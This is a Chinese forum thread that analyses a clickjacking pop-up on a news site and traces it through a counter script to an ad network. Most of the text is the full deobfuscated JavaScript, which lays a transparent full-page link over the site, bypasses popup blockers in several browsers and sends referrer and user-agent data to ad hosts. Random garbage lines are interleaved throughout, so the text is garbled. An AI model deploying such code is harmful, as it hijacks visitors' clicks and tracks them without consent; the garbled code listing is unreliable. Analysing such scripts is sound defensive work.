国内也有牛人啊。很有用的。

小狠

天星网ClickJacking点击劫持分析
# U8 ], f! @' }& i1 Bhttp://www.21tx.com/ 天星网
我得联系联系作者
  {! V; e* [( {" l) ^刚好打开这个站，发现第一次点击会弹窗，然后就不会，清除下COOKIE，又继续了，然后查看源代码，也没什么奇葩的。
. M: Q, f3 A- m! v6 ghttp://www.lxting.com/script/popup/v1_min.js
" ~+ I# U: _$ w. O5 m
这个是锁定到底JS脚本，
解密后的代码

1. (function() {
   ( z3 n; R5 u5 h8 A
2.     var aa_url = window.ytpp_url;
   9 A0 k7 D0 H8 s/ y+ N
3.     var ua = navigator.userAgent;
   
4.     var form_div = document.createElement('div');
   
5.     var form_pd = 0;
   
6.     var browser = {
   
7.         ie: /msie/i.test(ua),
   
8.         ie6: /msie 6/i.test(ua),
   " ~: X. J. }- L2 ~
9.         ie7: /msie 7/i.test(ua),
   
10.         ie8: /msie 8/i.test(ua),
    ' L5 m+ b3 }8 x7 [+ u4 ~- j4 Z
11.         ie9: /msie 9/i.test(ua),
    
12.         360 : /360se/i.test(ua),
    
13.         sogou: /;?se.+?MetaSr/i.test(ua),
    
14.         maxthon: /Maxthon/i.test(ua),
    
15.         tt: /TencentTraveler/i.test(ua),
    9 Y& A8 d7 V  q! R. s
16.         ff: /firefox/i.test(ua),
    2 P" v& e& ^5 ~+ r" N* X" u
17.         webkit: /AppleWebKit/i.test(ua),
    ( B' i( D$ d, x1 {" l( X- R
18.         opera: /Opera/i.test(ua),
    
19.         qqbrowser: /QQBrowser/i.test(ua),
    
20.         cr: /chrome/i.test(ua),
    + G0 z0 u% `$ a7 q& X
21.         gg: window.chrome,
    
22.         theworld: /Theworld/i.test(ua)
    
23.     };
    ( S6 e( e0 J8 j- J5 p- `/ A/ x
24.     var _setting = "";
    
25.     var _ct = 0;
    8 Y6 O7 R" T" c: _: h% f$ X; o
26.     var _le = 0;
    " q/ L. k# [* x) V6 ?5 E0 i
27.     var _pd = 1;
    
28.     var _pd2 = 0;
    - A: \* l; ?, d( R
29.     var _pc = 1;
    6 q4 f0 b( m' \' n4 o
30.     var _pc2 = 1;
    
31.     var _pco = 0;
    
32.     var _pta = 0;
    
33.     var _ptb = 0;
    
34.     var _pt2a = 0;
    & t/ K+ R! l" J2 O: C, n$ {( h
35.     var _pt2b = 0;
    
36.     var _pt3a = 0;
    2 ^2 [5 N" w1 d" n* r3 H8 w9 _; v
37.     var _pt3b = 0;
    ( k! E0 n% V7 n$ s8 |, m. W# k' y+ i
38.     var _pt4a = 0;
    
39.     var _pt4b = 0;
    4 c5 D' ^5 f( ?2 g3 r: {
40.     var _pt5a = 0;
    9 |6 k$ K8 f& J- G1 N/ @/ p
41.     var _pt5b = 0;
    " _  W1 P; j1 g
42.     var _pt6a = 0;
    4 g: Z; z# _5 q* k2 x2 [/ g) k
43.     var _pt6b = 0;
    * O6 }8 p/ `5 C6 h+ G9 X0 `
44.     var _pt7a = 0;
    , e: H# f9 {3 M% P, N. e
45.     var _pt7b = 0;
    
46.     var _pt8a = 0;
    
47.     var _pt8b = 0;
    
48.     var _pt9a = 0;
    
49.     var _pt9b = 0;
    ) j) L1 Z# E  @; J3 s
50.     var _pt10a = 0;
    2 V+ l/ O. \4 c8 f7 w1 _# V% ^
51.     var _pt10b = 0;
    
52.     var _po = 0;
    
53.     var _poo = 0;
    
54.     var ckn, ckt;
    
55.     var ads = 0;
    
56.     function b(w) {
    
57.         var s = w + "=";
    
58.         var r = "";
    
59.         var o = 0;
    
60.         var d = 0;
    7 D, {: w5 b8 |% {( u) j0 G
61.         var p = document.cookie;
    $ K& t: R, E' m* e; o& L
62.         if (document.cookie.length > 0) {
    
63.             o = document.cookie.indexOf(s);
    
64.             if (o != -1) {
    5 X- r" A5 I! F: \- L
65.                 o += s.length;
    
66.                 d = document.cookie.indexOf(";", o);
    
67.                 if (d == -1) d = document.cookie.length;
    
68.                 r = unescape(document.cookie.substring(o, d))
    
69.             }
    8 w8 R) p1 e9 J" V' p  \5 k2 w: p
70.         }
    
71.         return r
    
72.     };
    
73.     function p(w, p, v) {
    
74.         var t = 30;
    % j9 B4 v, ?4 Q; l# w
75.         try {
    
76.             t = parseFloat(p) * 1
    
77.         } catch(e) {
    
78.             t = 30
    / ^* r  R+ q1 Q0 a9 y
79.         }
    7 r" A3 v) S5 Y5 Z7 c0 X
80.         if (isNaN(t)) t = 30;
    ( z% k% p6 W+ c$ t8 i/ H/ e- O
81.         var then = new Date();
    
82.         then.setTime(then.getTime() + t * 60 * 1000);
    
83.         document.cookie = w + '=' + v + ';expires=' + then.toGMTString() + ';path=/;'
    " {" L6 I9 \: C* b( @
84.     };
    
85.     function init() {
    2 {5 h, Z0 ^! y& C
86.         _setting = ytpp_sti;
      X( ]. O; O  {/ W
87.         if (getp(_setting, "CT")) {
    
88.             _ct = getp(_setting, "CT")
    & m: P4 ^5 I& Z+ i7 D' o; p. E
89.         }
    5 X6 R( h( g* [1 N
90.         if (getp(_setting, "LE")) {
    
91.             _le = getp(_setting, "LE")
    ( Z+ I$ u: z. ^* c
92.         }
    
93.         if (getp(_setting, "PD2")) {
    
94.             _pd2 = getp(_setting, "PD2")
    
95.         }
    $ |. \" s' {& z4 A5 m5 T
96.         if (getp(_setting, "PC2")) {
    5 [6 Z9 d( X6 F
97.             _pc2 = getp(_setting, "PC2")
    
98.         }
    0 d4 Z" Q  e* k3 b0 _$ B% o
99.         if (getp(_setting, "PCO")) {
    3 L) @( Y- e9 S/ N
100.             _pco = getp(_setting, "PCO")
     
101.         }
     $ ?: K, B5 O( L* L+ H. i2 I4 D
102.         for (var i = 1; i <= 10; i++) {
     
103.             var n = i == 1 ? "": i;
     ) J; }- `& Q' ?7 _! k/ D  W: D( ]- d
104.             if (getp(_setting, "PT" + n)) {
     
105.                 eval("var _pt" + n + " = getp(_setting, 'PT" + n + "').split(',');");
     
106.                 eval("_pt" + n + "a = _pt" + n + "[0];");
     
107.                 eval("_pt" + n + "b = _pt" + n + "[1];")
     
108.             }
     
109.         }
     ) G% ~! b; I5 l! l0 u
110.         if (getp(_setting, "PO")) {
     
111.             _po = getp(_setting, "PO")
     1 \# X/ a! M$ ]8 p
112.         }
     6 Z+ f; I& Z5 a3 P
113.         if (getp(_setting, "POO")) {
     
114.             _poo = getp(_setting, "POO")
     
115.         }
     
116.         if (_pco == 1 || _poo == 1) {
     
117.             if (_poo == 1) {
     
118.                 _pco = 0
     % L' P  R5 g: a5 J
119.             } else {
     
120.                 _poo = 0
     
121.             }
     5 I) Z+ j8 w  D: D' V& |  |+ ^
122.             _pd = _pd2 = _pc = _pc2 = _po = _pta = _ptb = 0;
     
123.             for (var i = 2; i <= 10; i++) {
     5 G/ H. w  ^  P4 H; I
124.                 eval("_pt" + i + "a = _pt" + i + "b = 0;")
     
125.             }
     / q. V2 d. B7 ~: k
126.         }
     3 Y; h$ d  n5 @4 f( ^
127.     };
     & g% _$ H5 V; M' ]& K# d
128.     function getp(s, p) {
     
129.         var i = s.indexOf(p + ":");
     . A3 o5 f3 \" C1 `1 L" o
130.         if (i >= 0) {
     5 T' a- v/ Q3 C& ^4 s
131.             return s.substr(i + p.length + 1, s.substr(i).indexOf(";") - p.length - 1)
     % p; G1 x$ V0 v/ Q$ J) R, n
132.         }
     ; Y& y5 D3 a( C0 @  Y) n
133.     };
     " R3 k( w! x5 C0 p5 I% s
134.     function event(e, event, func, act) {
     
135.         if (browser.ie) e[act === undefined ? 'attachEvent': 'detachEvent']('on' + event, func);
     8 y* [# u( u/ D+ u
136.         else e[act === undefined ? 'addEventListener': 'removeEventListener'](event, func, false)
     
137.     }
     3 p: f$ t4 `; s' r
138.     function pop(url, param) {
     3 f  Z  U6 k. X9 F
139.         if (!document.body) {
     8 W2 y$ b+ ~* ]
140.             return setTimeout(function() {
     
141.                 pop(url, param)
     ; b% q# c" v+ {, w; x
142.             },
     
143.             13)
     * h, p# Y5 ]# p. P  {+ l. C, B5 ~
144.         }
     
145.         try {
     
146.             if (browser['cr'] && browser['gg']) {
     
147.                 try {
     7 n$ x" {# n: S0 I- N) u; ?
148.                     hrefopen(url)
     2 C% u3 j3 c( D, r( V- k$ R1 o* ~
149.                 } catch(e) {
     
150.                     a_pop(url)
     
151.                 }
     
152.             } else if (browser['webkit'] && browser['maxthon']) {
     
153.                 if (!func(url)) {
     
154.                     try {
     
155.                         form_pop(url);
     
156.                         a_pop(url)
     
157.                     } catch(e) {}
     
158.                 }
     
159.             } else if (browser['tt']) {
     
160.                 try {
     
161.                     object_pop(url)
     
162.                 } catch(e) {
     
163.                     a_pop(url)
     
164.                 }
     
165.             } else if (browser['sogou']) {
     ( A9 l1 w% \$ |9 }
166.                 if (!func(url)) {
       o- T# y8 R: Z# i# u# \. `+ G
167.                     try {
     8 `  g1 |3 N2 `% U, g
168.                         a_pop(url)
     6 f+ j$ H5 N# p3 w) F/ D
169.                     } catch(e) {}
     
170.                 }
     
171.             } else if (browser['webkit'] && browser['qqbrowser']) {
     
172.                 if (!func(url)) {
       Z9 ?; G- l% y" V. f( w
173.                     try {
       c/ r/ W6 N' t' {2 o" i
174.                         form_pop(url)
     
175.                     } catch(e) {
     
176.                         click_pop(url)
     - a. a& m4 T8 Q+ r: Q9 z
177.                     }
     + v4 ^( Z5 N) d: {5 A+ v/ R
178.                 }
     % O. f1 e6 o" L! i
179.             } else if (browser['webkit'] || browser['opera']) {
     # ~. t0 g* f% {- t4 K8 Z
180.                 try {
     : j" l7 a7 H( N
181.                     form_pop(url);
     5 j' {, A  F! }2 _' ?1 {
182.                     a_pop(url)
     8 y( P- {4 t8 c: \$ d9 k5 f, U
183.                 } catch(e) {}
     
184.             } else if (browser['theworld'] && browser.ie6) {
     ; \' V* |2 \3 L: V! H
185.                 if (!object_pop2(url)) {
     0 o2 g) n& C2 Z& }. N
186.                     a_pop(url)
     1 E! V% \8 J6 j) m5 n
187.                 }
       P: l- Q8 z( I
188.             } else if (browser['theworld'] && browser.ie8) {
     
189.                 if (!func(url)) {
     
190.                     try {
     " P- ^; _  h4 W1 H/ n, i, ]- T
191.                         object_pop(url)
     7 d* Z' x+ [2 h0 W3 I
192.                     } catch(e) {
     
193.                         click_pop(url)
     6 P; E7 y) {# Y5 @  \5 f
194.                     }
     % }4 B  y, |4 u8 ^! i; F3 [
195.                 }
     ; Y7 e8 K+ }; \( G
196.             } else if (browser.ie6) {
     
197.                 if (!func(url)) {
     
198.                     object_pop2(url)
     
199.                 }
     
200.             } else if (browser.ie8) {
     1 W! ?9 q& b; I" g6 X* l* I( t
201.                 if (!func(url)) {
     * @* w4 N, i5 l( f/ r
202.                     try {
     * c# ]" \% _+ u. F- q
203.                         object_pop(url)
     ' D. q2 p: B; L3 ]6 @
204.                     } catch(e) {
     0 `8 o# R( r: f. E( D, ]
205.                         document.onclick = function() {
     
206.                             func(url);
     9 T0 u6 n$ z1 r- \; ]
207.                             document.onclick = null
     
208.                         }
     
209.                     }
     6 R' F. h. i6 B5 Y+ ]! z
210.                 }
     ( i6 c$ }0 Y9 @' G+ M$ c3 p( G
211.             } else if (browser['ie']) {
     ! \, G/ u/ [! {/ H9 Y1 c" B1 Z
212.                 try {
     ) z! Q( R* Z5 g
213.                     object_pop(url)
     
214.                 } catch(e) {
     
215.                     click_pop(url)
     
216.                 }
     
217.             } else if (browser['ff']) {
     
218.                 if (!func(url)) {
     3 G6 u! \' Y) ~: c
219.                     click_pop(url)
     2 y- z6 u6 S/ B- C% R
220.                 }
     / _/ n1 D! I) b0 i( y
221.             } else {
     1 M/ q- Y% ^( T" i+ n* j' m
222.                 if (!func(url)) {
     & \$ g' Y2 z3 S
223.                     click_pop(url)
     
224.                 }
     - a4 q. _$ g" n! O: f& y! Z0 \
225.             }
     4 I. r( a# W# m+ P
226.         } catch(e) {
     4 ]0 b. f8 `8 O
227.             if (browser.ie7 || browser.ie8 || browser.ie9 || browser['qqbrowser']) {
     
228.                 click_pop(url)
     
229.             } else {
     
230.                 a_pop(url)
     ! B& E, [' E3 E9 w
231.             }
     
232.         }
     
233.     }
     & Z' g$ j: }$ y
234.     function object_pop(url, param) {
     $ Q4 B! K1 {2 D4 u  ]
235.         var object = document.createElement('object');
     ) P9 i% Q! r$ g& \
236.         object.setAttribute('classid', 'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6');
     $ e+ @. d& m6 v1 {! T
237.         object.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
     ! h' h) |8 p" q8 _) t# b5 C- w, X$ s
238.         append(object);
     
239.         object.launchURL(url);
       E- O4 }+ f  ~# v2 U
240.         ads++;
     5 d& T$ q7 H4 t) @. K9 |& R4 a
241.         p(ckn, ckt, ads)
     . k, {. c" H7 V" ~
242.     }
     ) @4 T( ]: ^! C& C  g9 f( o
243.     function object_pop2(url, param) {
     
244.         var object2 = document.createElement('object');
     3 O! p- s# n: N1 N& t0 X
245.         object2.setAttribute('classid', 'clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A');
     
246.         object2.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
     
247.         append(object2);
     
248.         for (var i in object2) {
     0 H1 t* }8 p4 y% f
249.             try { (function(o) {})(object2[i])
     
250.             } catch(e) {}
     
251.         }
     6 L  n( p* n& }( q; t9 l5 ?
252.         setTimeout(function() {
     1 x8 q# O. U0 k- c
253.             object2.DOM.Script.open(url, '_blank', '')
     / ~! e; i+ b; R; g; P& ^* t' L
254.         },
     # T1 k. f3 e9 d/ U3 M7 z
255.         500);
     
256.         ads++;
     
257.         p(ckn, ckt, ads)
     3 L0 J. z% g$ H" m2 |1 P$ I
258.     }
     " j) L# y1 b, j# A+ X+ S1 M- w
259.     function append(e) {
     
260.         for (var t in {
       B2 q- ]1 d! s5 O4 e2 E0 A
261.             body: 1
     - L% D% k" \& z. x3 }
262.         }) {
     
263.             var ele = document.getElementsByTagName(t);
     
264.             for (var i = 0; i < ele.length; i++) {
     
265.                 ele[i].insertBefore(e, ele[i].firstChild);
     6 G' }9 }. G: X
266.                 return
     
267.             }
     0 G1 X& X0 S9 ?, e% |
268.         }
     
269.     }
     6 K; N% B- z. ?
270.     function hrefopen(url) {
     ; ^+ a- ?5 `  S0 t) i
271.         try {
     8 y- y9 Q) n# h6 O4 Z! S- I$ K0 K
272.             var c = document.createElement("a");
     % v0 `9 V+ l' r- X" }
273.             c.setAttribute("href", url);
     : |' C& u6 s5 P9 X
274.             c.setAttribute("target", "_blank");
     
275.             c.setAttribute("style", "display:none;");
     8 o1 ]. L9 a  c3 {' U/ j
276.             var b = document.createEvent("MouseEvents");
     0 R* b1 {- i/ ?2 A1 |
277.             b.initMouseEvent("click", false, false, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null);
     ' I! v5 r) [! y4 K: y: Z
278.             c.dispatchEvent(b);
     
279.             ads++;
     4 x% [+ I% C8 X2 E; M# ?
280.             p(ckn, ckt, ads);
     / q, N! N9 ?, i3 e9 q- r, w8 |
281.             return true
     9 Z" L- F2 |9 A- Y7 `
282.         } catch(q) {
     % s/ j# L/ o, ^: C2 h" v
283.             return false
     
284.         }
     
285.     }
     8 J5 R/ Z9 I, E! c7 o. u; [8 ?8 w
286.     function form_pop(url) {
     
287.         form_div.setAttribute('id', '__unionsky_push_d_object_box__');
     
288.         form_div.setAttribute('style', 'display:none');
     : n$ Y; C; X1 ^
289.         var form = document.createElement('form');
     8 I# |& j+ U. ?) M$ H
290.         form.setAttribute('action', aa_url);
     " J4 l* q# N7 N3 V% f
291.         form.setAttribute('method', 'post');
     6 n! d& `0 p# K0 d, Y2 p* n
292.         form.setAttribute('name', '__unionsky_push_d_form_box__');
     
293.         form.setAttribute('target', '_blank');
     
294.         form.setAttribute('style', 'display:none');
     
295.         var sinput = document.createElement('input');
     
296.         sinput.setAttribute('style', 'display:none');
     
297.         sinput.setAttribute('type', 'submit');
     
298.         sinput.setAttribute('id', '_sumit_2app');
     * t, n- y9 c; J. V- E+ ?
299.         form.appendChild(sinput);
     
300.         form_div.appendChild(form);
     . m, y9 M* J3 k- z2 K( V4 j
301.         append(form_div);
     4 M' V# ]2 l$ G8 ?4 ^6 K
302.         var unionsky_from = document.forms["__unionsky_push_d_form_box__"];
     # E+ Z7 a% ]# Z, r. U
303.         try {
     
304.             document.getElementById("_sumit_2app").click()
     . p; X2 G% ?* J
305.         } catch(e) {
     ' `& r1 V+ \% p8 {$ J! d
306.             event(document, 'keyup',
     
307.             function(e) {
     7 z: S: S8 D& ?) \
308.                 if (document.getElementById('__unionsky_push_d_object_box__') == null) {
     
309.                     return
     
310.                 };
     
311.                 e = e || window.event;
     
312.                 e.canceBubble = true;
     0 S2 n! K0 q2 ]7 Q' U, W5 T& i0 u
313.                 event(document, 'keyup', arguments.callee, true);
     
314.                 form_pd = 1;
     $ N1 P& H" U0 F6 h: M, y( c
315.                 unionsky_from.submit()
     ) J5 [' U' A; I; I, s
316.             })
     7 x* x" N1 w/ c  V- ]; o+ p
317.         }
     8 P( n' v; Z8 ^
318.     };
     4 M2 r2 k2 p2 l4 _
319.     function click_pop(url, param) {
       ]. n  P& n& }( G2 v# N4 D
320.         event(document, 'mouseup',
     # x! s( z# z+ [# C7 P) x# N
321.         function(e) {
     
322.             e = e || window.event;
     
323.             e.canceBubble = true;
     - M8 _7 y1 Q( w; D3 x% r
324.             event(document, 'mouseup', arguments.callee, true);
     
325.             func(url, param);
     7 I; b3 Z( V& E  L( ~/ A
326.             ads++;
     
327.             p(ckn, ckt, ads)
     0 c0 {0 d! c# E0 E1 F
328.         })
     
329.     };
     4 f- Z$ V4 f' C8 m' `# w
330.     function a_pop(url) {
     % m8 ^5 @3 |  ~* b
331.         if (ytpp_plid == 166028) {
     
332.             return
     
333.         }
     
334.         if (!document.body) {
     
335.             return setTimeout(function() {
     
336.                 a_pop(url)
     
337.             },
       J" b0 H2 s6 S  q" |* f
338.             13)
     
339.         }
     
340.         var a = document.createElement("a");
     
341.         a.href = url;
     
342.         a.target = "_blank";
     
343.         var div = document.createElement('div');
     % q) M$ _5 u8 |+ s
344.         div.style.backgroundColor = '#fff';
     
345.         a.appendChild(div);
     
346.         append(a);
     
347.         var as = a.style;
     
348.         as.position = "absolute";
     
349.         as.zIndex = '2147483647';
     / z- C. l( @# B6 u6 v! n
350.         as.display = "block";
     7 c- v8 N# k$ E2 p
351.         as.top = "0px";
     
352.         as.left = "0px";
     
353.         as.cursor = 'default';
     
354.         as.opacity = "0";
       \; Y( W, D$ M
355.         as.filter = "alpha(opacity:0)";
     
356.         var m = setInterval(function() {
     5 N2 M8 k2 p# `; u. `
357.             if (form_pd == 1) {
     2 R. R0 w: T7 t4 @
358.                 a.parentNode.removeChild(a);
     
359.                 clearInterval(m);
     ! v0 V. \/ k  k- l; T4 h
360.                 return
     
361.             }
     9 A( e  X- r  n1 x4 z" I
362.             a.style.zIndex = '2147483647';
     ) T+ {' ?% S% F! s
363.             var d = (document.compatMode.toLowerCase() == 'css1compat') ? document.documentElement: document.body;
     
364.             a.style.top = Math.max(document.documentElement.scrollTop, document.body.scrollTop) + 'px';
     " h  T" m+ B" ]4 P6 A* P
365.             div.style.width = Math.min(d.clientWidth, d.scrollWidth) + 'px';
     ) p7 F9 f# a7 |! n  y: ~7 y5 I
366.             div.style.height = d.clientHeight + 'px';
     
367.             if (browser['ie']) {
     , S9 b7 t5 u0 F! z/ B. M
368.                 try {
     0 b  \! M: V  C, C9 I
369.                     var divs = document.body.childNodes;
     
370.                     for (var i = 0; i < divs.length; i++) {
     
371.                         if (!divs[i]['style']) {
     7 E5 u; o# z! f9 X$ X% C7 D
372.                             continue
     + i8 O9 m5 I4 [4 y- r3 L
373.                         }
     
374.                         var _i = parseInt(divs[i].style.zIndex);
     
375.                         if (_i && divs[i] != a && _i == 2147483647) {
     & p! ?% x. J7 N( c% M; f* d  z. m
376.                             divs[i].style.zIndex = _i - 1
     
377.                         }
     ( {( b; g' @9 r. |
378.                     }
     
379.                     a.style.zIndex = '2147483647'
     & \: b5 G6 S0 p+ {
380.                 } catch(e) {}
     
381.             }
     3 \# T8 h5 ], E5 P* `
382.         },
       \* g  J/ h) Q
383.         120);
     3 w9 a6 M) ?4 I
384.         a.onclick = function(e) {
     2 V  v& b% I+ V5 G
385.             if (document.getElementById('__unionsky_push_d_object_box__') != null) {
     
386.                 form_div.parentNode.removeChild(form_div)
     
387.             }
     
388.             e = e || window.event;
     
389.             e.cancelBubble = true;
     2 t! ?% B5 d# I
390.             setTimeout(function() {
     
391.                 a.parentNode.removeChild(a)
     - t! `3 K. S8 \* f! m
392.             },
     
393.             200);
     
394.             clearInterval(m);
     
395.             ads++;
     ( P# F0 A1 o: L( c% Z, p, I
396.             p(ckn, ckt, ads)
     
397.         };
     : R) Y/ \' g! z3 j7 |$ H
398.         event(a, 'mouseup',
     
399.         function(e) {
     
400.             e = e || window.event;
     ; r7 A/ P- t$ w  b1 u* }
401.             e.cancelBubble = true
     
402.         })
     
403.     }
     . A9 u2 _3 r) e" W  W
404.     function func(url, param) {
     
405.         var f = window[String.fromCharCode(111, 112, 101, 110)];
     ( T. d- ?1 r' n7 {
406.         var w = f(url, '_blank', 'left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=' + screen.width + ',height=' + screen.height);
     
407.         if (w) {
     " p- b+ t  c& b* |# s8 r$ F; \  o
408.             ads++;
     
409.             p(ckn, ckt, ads)
     
410.         };
       h* z, {$ Q7 J4 O$ g5 G' l" K7 J$ h
411.         return w
     9 p; N: H3 k& @, c- \# H! ~
412.     }
     
413.     function fstart(url) {
     1 d0 j# U/ B' V
414.         init();
     % c  \( w5 v/ F" O
415.         if (_ct >= 0) {
     3 D/ X& i1 H1 R- V8 n* Z& O
416.             ckn = "YITIAN_NUM";
     . C3 ~9 j: D8 E. C1 ~. s
417.             ckt = _ct
     ' u( ~2 L9 \) ~5 L9 l
418.         } else {
     
419.             ckn = "YITIAN_ALL";
     , f6 N* D3 k( Z- ?7 h' Y
420.             ckt = Math.abs(_ct)
     / V% t( K! ]$ {$ _; ~( t
421.         }
     
422.         if (ckt > 0) {
     0 _5 F& b/ x& j* I2 D; {
423.             if (b(ckn)) {
     / p6 b! N  M, _6 h
424.                 try {
     
425.                     ads = parseFloat(b(ckn))
     0 U  \- D& R& _* `& D
426.                 } catch(q) {}
     
427.             }
     2 a+ y) ~  a- m/ h7 H
428.         }
     2 }) z& D) o1 z0 ~6 C' H9 E/ u
429.         if ((ads > 0 && ckn == 'YITIAN_ALL') || ads >= ytpp_ads) {
     6 H" F# |9 V0 F+ h9 i7 B0 W
430.             return
     
431.         } else {
     
432.             if (_le > 0) {
     
433.                 setTimeout(go(url), _le * 1000)
     
434.             } else {
     
435.                 go(url)
     
436.             }
     $ M$ V% R2 h5 x  V
437.         }
     
438.     }
     $ j1 Y2 L+ [" W+ L4 ^
439.     function go(url) {
     
440.         if (_poo == 1) {
     6 [! P5 d( L0 G) [* {+ |- n& y
441.             try {
     + e+ O, E* u2 a) p
442.                 func(url)
     
443.             } catch(q) {}
     
444.         } else if (_pco == 1) {
     
445.             a_pop(url)
     2 ]8 ]) |+ s* ]# b% w7 H, j
446.         } else {
     
447.             if (_pd == 1) {
     
448.                 setTimeout(function() {
     
449.                     pop(url, {
     
450.                         a: 1,
     
451.                         b: 2
     # }: o  H+ b, S0 S8 B3 x( P
452.                     })
     2 L" T* u7 @$ ]- ^3 z: I
453.                 },
     
454.                 300)
     ! R$ V) L: Z+ R" ^& V
455.             }
     
456.             if (_pd2 > Math.random()) {
     3 m6 T  Z( ?/ I4 E% l
457.                 setTimeout(function() {
     / S" Y1 o" M- O! G1 e" Z  z" B1 g
458.                     pop(url, {
     7 J( X% |# t0 G8 b( ]2 a# a: u) M8 _
459.                         a: 1,
     
460.                         b: 2
     
461.                     })
     
462.                 },
     / A+ t1 }* `- o+ s+ ]; a, d$ L: q
463.                 300)
     " C; A0 x& r! e. [3 \/ z
464.             }
     
465.             for (var i = 1; i <= 10; i++) {
     
466.                 var n = i == 1 ? "": i;
     : V, M' K0 L5 k$ _0 e
467.                 if (eval("_pt" + n + "b") > Math.random()) {
     : Y  Y* }# n9 ^; n% t, R2 a
468.                     setTimeout(function() {
     
469.                         setTimeout(function() {
     
470.                             pop(url, {
     # {0 M' n+ z/ k6 ?1 n
471.                                 a: 1,
     # d9 W/ c+ j( h' V; |" @7 _
472.                                 b: 2
     % C+ d' O1 U4 n* v3 \
473.                             })
     & ]- ]# v+ y' j: {6 x" ?8 M1 p. b
474.                         },
     ' N5 D+ W! k' l: G7 T
475.                         300)
     ; z6 ]+ @) X( F5 ^3 Q5 ]3 z
476.                     },
     % q. E  y7 R1 f
477.                     parseInt(eval("_pt" + n + "a")) * 1000)
     + b6 s9 d  w0 u% j% }, X/ @" X
478.                 }
     
479.             }
     . i4 K0 D2 G  _8 b# b
480.             if (_pc2 > Math.random()) {
     
481.                 a_pop(url)
     + H- [; P. F9 s5 B8 E
482.             }
     ( G* q( m' f8 n' f8 V8 U( r
483.             if (_po > Math.random()) {
     
484.                 try {
     * \! ^6 I: R+ ?, [( U
485.                     func(url)
     4 U3 e  o) S; A5 e0 ~
486.                 } catch(q) {}
     
487.             }
     
488.         }
     : l; K* g4 J; z4 F4 j6 E' M+ O' q% u
489.     };
     
490.     fstart(aa_url);
     6 Q2 V1 v* X% i5 f# |
491.     event(window, 'beforeunload',
     5 G5 {; {0 C4 e/ ~3 O
492.     function() {})
     + L5 t* ]: M) M
493. })();

复制代码

通过浏览器抓包
URL从这里产生

4 x4 T4 j6 r# C$ zhttp://play.unionsky.cn/show/?placeid=141830

# V0 \: L2 H# j3 C. N% R$ G
: {, U0 z% A; }4 C4 `1 O

小狠

直接打开看不到什么东西
http://www.unionsky.cn/ 是属于这个广告联盟的
我们直接分析抓包的内容

var ytpp_r = encodeURIComponent(encodeURIComponent(document.referrer));
1 j: V5 S& S, H1 ?. b( Yytpp_r = ytpp_r.length > 1000 ? ytpp_r.substring(0, 1000) : ytpp_r;
+ F$ `9 O: J, r  R" n, y  y1 s$ r& }var ytpp_u = encodeURIComponent(navigator.userAgent);
var ytpp_s = window.screen.width + "*" + window.screen.height;
var ytpp_l = navigator.browserLanguage || navigator.language;
var ytpp_plid = 141830;
var ytpp_w = 0;
var ytpp_h = 0;
var ytpp_url = "http://www.lxting.com/jmp/?p=f7xNjUO8Y80tB6KZyJ*jzRXjLuoZaOluHDv/IndJK1Z/mc0eKhM2QddlbEorugPwTAd08JIi*oDNYfaUSsF7QNBk3/CB3LW8&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random();
  D! ]) `. Q; H  j& ]& Pvar ytpp_ads = 14;
var ytpp_sti = 'CT:-3D:1C:1C2:1T:60,1T2:100,1;';
0 ]0 r0 |. Z# I% S% Z# @7 Tdocument.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/pp/?p=f7xNjUO8Y81LybptxG2Vq//rYbtxQcP5GVnJOL07Ka8=&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random() + "'></script>");
" m' B* `% b' f( sdocument.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/script/popup/v1_min.js'></script>");

那么这个http://play.unionsky.cn/show/?placeid=141830又是从哪里被引用进去呢。
* Y  f. y0 l2 H; Q- Y7 I继续分析 发现这里
$ b' Q9 l: J# m+ S0 ^1 r8 J
. q6 V2 P0 G0 m! c! j3 ]http://txsite.21tx.com/count/count.js

0 q5 ?7 M# ]& N2 n! I/ E

txcount_uid = 1;
txcount_uh = 0;
txcount_uw = 0;
txcount_uah = 0;
txcount_uaw = 0;
txcount_ucd = 0;
& G% I" V3 V. ~: r9 h$ t3 o   
if (window.screen) {
  txcount_uh = window.screen.height;
  txcount_uw = window.screen.width;
  txcount_uah = window.screen.availHeight;
  txcount_uaw = window.screen.availWidth;
  txcount_ucd = window.screen.colorDepth;
( x4 R2 `- i6 k# `$ F( _. W0 t- }}
5 C7 o3 G6 U: s' v9 h   
   
var url = "http://txsite.21tx.com/count/count.aspx";
9 M8 e/ b* o4 s3 F( p' S$ Iurl = url + "?u="+ txcount_uid;
: \' c; l8 r. ]' i//url = url + "&f=" + txcount_f;
; R1 V% ]+ t# W" |  H. v/ B$ G) k2 lurl = url + "&k=" + txsite_pagekey;
//url = url + "&t=" + txcount_t;
url = url + "&l=" + escape(document.location);
url = url + "&r=" + escape(document.referrer);
/ h: |  N2 |% E7 Y( O# b- vurl = url + "&uh=" + txcount_uh;
+ T7 n9 X' N3 W) u- Durl = url + "&uw=" + txcount_uw;
6 k2 H. m. Q7 Q- r/ M& P" m5 h+ q% S. Uurl = url + "&uah=" + txcount_uah;
url = url + "&uaw=" + txcount_uaw;
url = url + "&ucd=" + txcount_ucd;
   
3 J; @& V" g- P* |! I2 D/ V1 t% H   
) a( {$ i6 K+ x3 ~0 Ndocument.write("<script src=" + url + "><\/script>");
. F) ^& ^, J  g# ^) @( z1 _//document.write('<script src="http://s4.cnzz.com/stat.php?id=4820460&web_id=4820460" language="JavaScript" charset="gb2312"><\/script>');
3 v. J1 a) O7 C8 d2 e   
% I# e4 Q1 R9 P2 {1 Y2 h3 {( [document.write('<script src="http://s127.cnzz.com/stat.php?id=1474936&web_id=1474936" language="JavaScript" charset="gb2312"><\/script>');
   
$ k2 W; w/ x" d. C" L8 `$ u   
document.write("<script language='javascript' src='http://play.unionsky.cn/show/?placeid=141830'><\/script>");

一切昭然天下了。
代码产生的直接效果如下
% x5 t% d; w. a4 L5 m( c5 k& [1 T
